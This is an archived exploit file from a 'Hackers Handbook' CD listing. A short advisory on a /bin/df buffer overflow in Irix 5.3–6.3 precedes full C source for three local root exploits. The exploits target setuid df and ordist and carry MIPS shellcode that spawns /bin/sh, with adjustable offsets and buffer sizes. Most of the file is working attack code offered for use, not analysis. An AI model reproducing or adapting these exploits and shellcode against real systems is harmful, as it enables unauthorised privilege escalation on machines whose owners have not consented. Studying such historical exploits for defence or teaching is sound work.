home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / irix.exploits < prev    next >
Encoding:
Text File  |  1998-10-15  |  6.7 KB  |  251 lines

  1. /*
  2. There appears to be a buffer overflow in /bin/df on Irix 5.3, 6.2 and 6.3. 
  3. /bin/df is installed suid root and hence root access is achievable for local
  4. users.
  5.  
  6. The version of 'df' which comes with Irix 6.2, whilst having the buffer 
  7. overflow problem, is not vulnerable to this exploit as it is compiled as a 
  8. 64bit N32 object and it is virtually impossible to exploit buffer overflows 
  9. in such programs.
  10.  
  11. The temporary fix: chmod u-s /bin/df
  12.  
  13. This only appears to affect the '-f' flag which I doubt anyone ever uses.
  14.  
  15. The exploit code included has been tested on the following:
  16.  
  17. R3000 Indigo (Irix 5.3)
  18. R4400 Indy (Irix 5.3)
  19. R5000 O2 (Irix 6.3)
  20.  
  21. Compile with either gcc or cc. Note that you should specify one of '-mips3',
  22. '-mips4' or '-n32' to compile on an O2. The default compile options result 
  23. in a binary which exhibits weird cache coherency problems and rarely works.
  24.  
  25. Credit is due to Yuri Volobuev for his Irix shell code on which mine is based.
  26.  
  27. Regards,
  28.  
  29. David
  30. --
  31. David Hedley (hedley@cs.bris.ac.uk)
  32. finger hedley@cs.bris.ac.uk for PGP key
  33. Computer Graphics Group | University of Bristol | UK
  34. */
  35.  
  36. -------------------- cut here ----------------------------
  37.  
  38. /* /bin/df buffer overflow exploit by DCRH */
  39.  
  40. #include <stdio.h>
  41. #include <stdlib.h>
  42. #include <string.h>
  43. #include <sys/types.h>
  44. #include <unistd.h>
  45.  
  46. #define BUF_LENGTH      1504
  47. #define EXTRA           700
  48. #define OFFSET          0x200
  49. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  50.  
  51. #define u_long unsigned
  52.  
  53.  
  54. u_long get_sp_code[] = {
  55. 0x03a01025,         /* move $v0,$sp         */ 
  56. 0x03e00008,         /* jr $ra               */ 
  57. 0x00000000,         /* nop                  */
  58. };
  59.  
  60. u_long irix_shellcode[] = {
  61. 0x24041234,         /* li $4,0x1234         */ 
  62. 0x2084edcc,         /* sub $4,0x1234        */ 
  63. 0x0491fffe,         /* bgezal $4,pc-4       */ 
  64. 0x03bd302a,         /* sgt $6,$sp,$sp       */ 
  65. 0x23e4012c,         /* addi $4,$31,264+36   */ 
  66. 0xa086feff,         /* sb $6,-264+7($4)     */ 
  67. 0x2084fef8,         /* sub $4,264           */ 
  68. 0x20850110,         /* addi $5,$4,264+8     */ 
  69. 0xaca4fef8,         /* sw $4,-264($5)       */ 
  70. 0xaca6fefc,         /* sw $4,-260($5)       */ 
  71. 0x20a5fef8,         /* sub $5, 264          */ 
  72. 0x240203f3,         /* li $v0,1011          */ 
  73. 0x03ffffcc,         /* syscall 0xfffff      */ 
  74. 0x2f62696e,         /* "/bin"               */ 
  75. 0x2f7368ff,         /* "/sh"                */
  76. };
  77.  
  78. char buf[BUF_LENGTH + EXTRA + 8];
  79.  
  80. void main(int argc, char **argv)
  81. {
  82.  char *env[] = {NULL};
  83.  u_long targ_addr, stack;
  84.  u_long *long_p;
  85.  int i, code_length = strlen((char *)irix_shellcode)+1;
  86.  u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  87.  
  88.  stack = get_sp();
  89.  
  90.  long_p =(u_long *)  buf;
  91.  targ_addr = stack + OFFSET;
  92.  
  93.  if (argc > 1) targ_addr += atoi(argv[1]) * 4;
  94.  
  95.  while ((targ_addr & 0xff000000) == 0 ||
  96.  (targ_addr & 0x00ff0000) == 0 ||
  97.  (targ_addr & 0x0000ff00) == 0 ||
  98.  (targ_addr & 0x000000ff) == 0)
  99.  targ_addr += 4;
  100.  
  101.  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  102.   *long_p++ = IRIX_NOP;
  103.  
  104.  for (i = 0; i < code_length/sizeof(u_long); i++)
  105.   *long_p++ = irix_shellcode[i];
  106.  
  107.  for (i = 0; i < EXTRA / sizeof(u_long); i++)
  108.   *long_p++ = (targ_addr << 16) | (targ_addr >> 16);
  109.  
  110.  *long_p = 0;
  111.  
  112.  printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  113.  
  114.  execle("/bin/df", "df", &buf[3], 0, env);
  115.  perror("execl failed");
  116. }
  117.  
  118. /* Two more exploits from Yuri */
  119. ----- df.c -------------------------------------------------------------------- 
  120. #include <stdlib.h>
  121. #include <fcntl.h>
  122.  
  123. #define BUFSIZE 2061
  124. #define OFFS 800
  125. #define ADDRS 2
  126. #define ALIGN 0
  127.  
  128. void run(unsigned char *buf) {
  129.  execl("/usr/sbin/df", "df", buf, NULL); printf("execl failed\n");
  130. }
  131.  
  132. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68
  133. \x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5
  134. \xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02
  135. \x04\x8d\x0c";
  136.  
  137. char nop[]="\x24\x0f\x12\x34";
  138.  
  139. unsigned long get_sp(void) {
  140.  __asm__("or     $2,$sp,$0");
  141. }
  142.  
  143. /* this align stuff sux - i do know. */ 
  144. main(int argc, char *argv[]) 
  145. {
  146.  char *buf, *ptr, addr[8];
  147.  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  148.  int i, noplen=strlen(nop);
  149.  
  150.  if (argc >1) bufsize=atoi(argv[1]);
  151.  if (argc >2) offs=atoi(argv[2]);
  152.  if (argc >3) addrs=atoi(argv[3]);
  153.  if (argc >4) align=atoi(argv[4]);
  154.  
  155.  if (bufsize<strlen(asmcode)) 
  156.  {
  157.   printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  158.   exit(1);
  159.  }
  160.  if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) 
  161.  {
  162.   printf("Can't malloc\n");
  163.   exit(1);
  164.  }
  165.  *(int *)addr=get_sp()+offs;
  166.  printf("address - %p\n", *(int *)addr);
  167.  
  168.  strcpy(buf, nop);
  169.  ptr=buf+noplen;
  170.  buf+=noplen-bufsize % noplen;
  171.  bufsize-=bufsize % noplen;
  172.  
  173.  for (i=0; i<bufsize; i++) *ptr++=nop[i % noplen];
  174.  memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
  175.  memcpy(ptr, nop, strlen(nop));
  176.  ptr+=align;
  177.  for (i=0; i<addrs<<2; i++) *ptr++=addr[i % sizeof(int)];
  178.  *ptr=0;
  179.  printf("total buf len - %d\n", strlen(buf));
  180.  
  181.  run(buf);
  182. }
  183. --- end of df.c ---------------------------------------------------------------
  184.  
  185. --- ordist.c ------------------------------------------------------------------
  186.  
  187. #include <stdlib.h>
  188. #include <fcntl.h>
  189.  
  190. #define BUFSIZE 306
  191. #define OFFS 800
  192. #define ADDRS 2
  193. #define ALIGN 2
  194.  
  195. void run(unsigned char *buf) {
  196.  execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
  197.  printf("execl failed\n");
  198. }
  199.  
  200. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68
  201. \x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5
  202. \xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02
  203. \x04\x8d\x0c";
  204.  
  205. char nop[]="\x24\x0f\x12\x34";
  206.  
  207. unsigned long get_sp(void) {
  208.  __asm__("or     $2,$sp,$0");
  209.  }
  210.  
  211. /* this align stuff sux - i do know. */
  212. main(int argc, char *argv[])
  213. {
  214.  char *buf, *ptr, addr[8];
  215.  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  216.  int i, noplen=strlen(nop);
  217.  
  218.  if (argc >1) bufsize=atoi(argv[1]);
  219.  if (argc >2) offs=atoi(argv[2]);
  220.  if (argc >3) addrs=atoi(argv[3]);
  221.  if (argc >4) align=atoi(argv[4]);
  222.  
  223.  if (bufsize<strlen(asmcode)) 
  224.  {
  225.   printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  226.   exit(1);
  227.  }
  228.  if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL)
  229.  {
  230.   printf("Can't malloc\n");
  231.   exit(1);
  232.  }
  233.  *(int *)addr=get_sp()+offs;
  234.  printf("address - %p\n", *(int *)addr);
  235.  
  236.  strcpy(buf, nop);
  237.  ptr=buf+noplen;
  238.  buf+=noplen-bufsize % noplen;
  239.  bufsize-=bufsize % noplen;
  240.  
  241.  for (i=0; i<bufsize; i++) *ptr++=nop[i % noplen];
  242.  memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
  243.  memcpy(ptr, nop, strlen(nop));
  244.  ptr+=align;
  245.  for (i=0; i<addrs<<2; i++) *ptr++=addr[i % sizeof(int)];
  246.  *ptr=0;
  247.  printf("total buf len - %d\n", strlen(buf));
  248.  
  249.  run(buf);
  250. }
  251. --- end of ordist.c -----------------------------------------------------------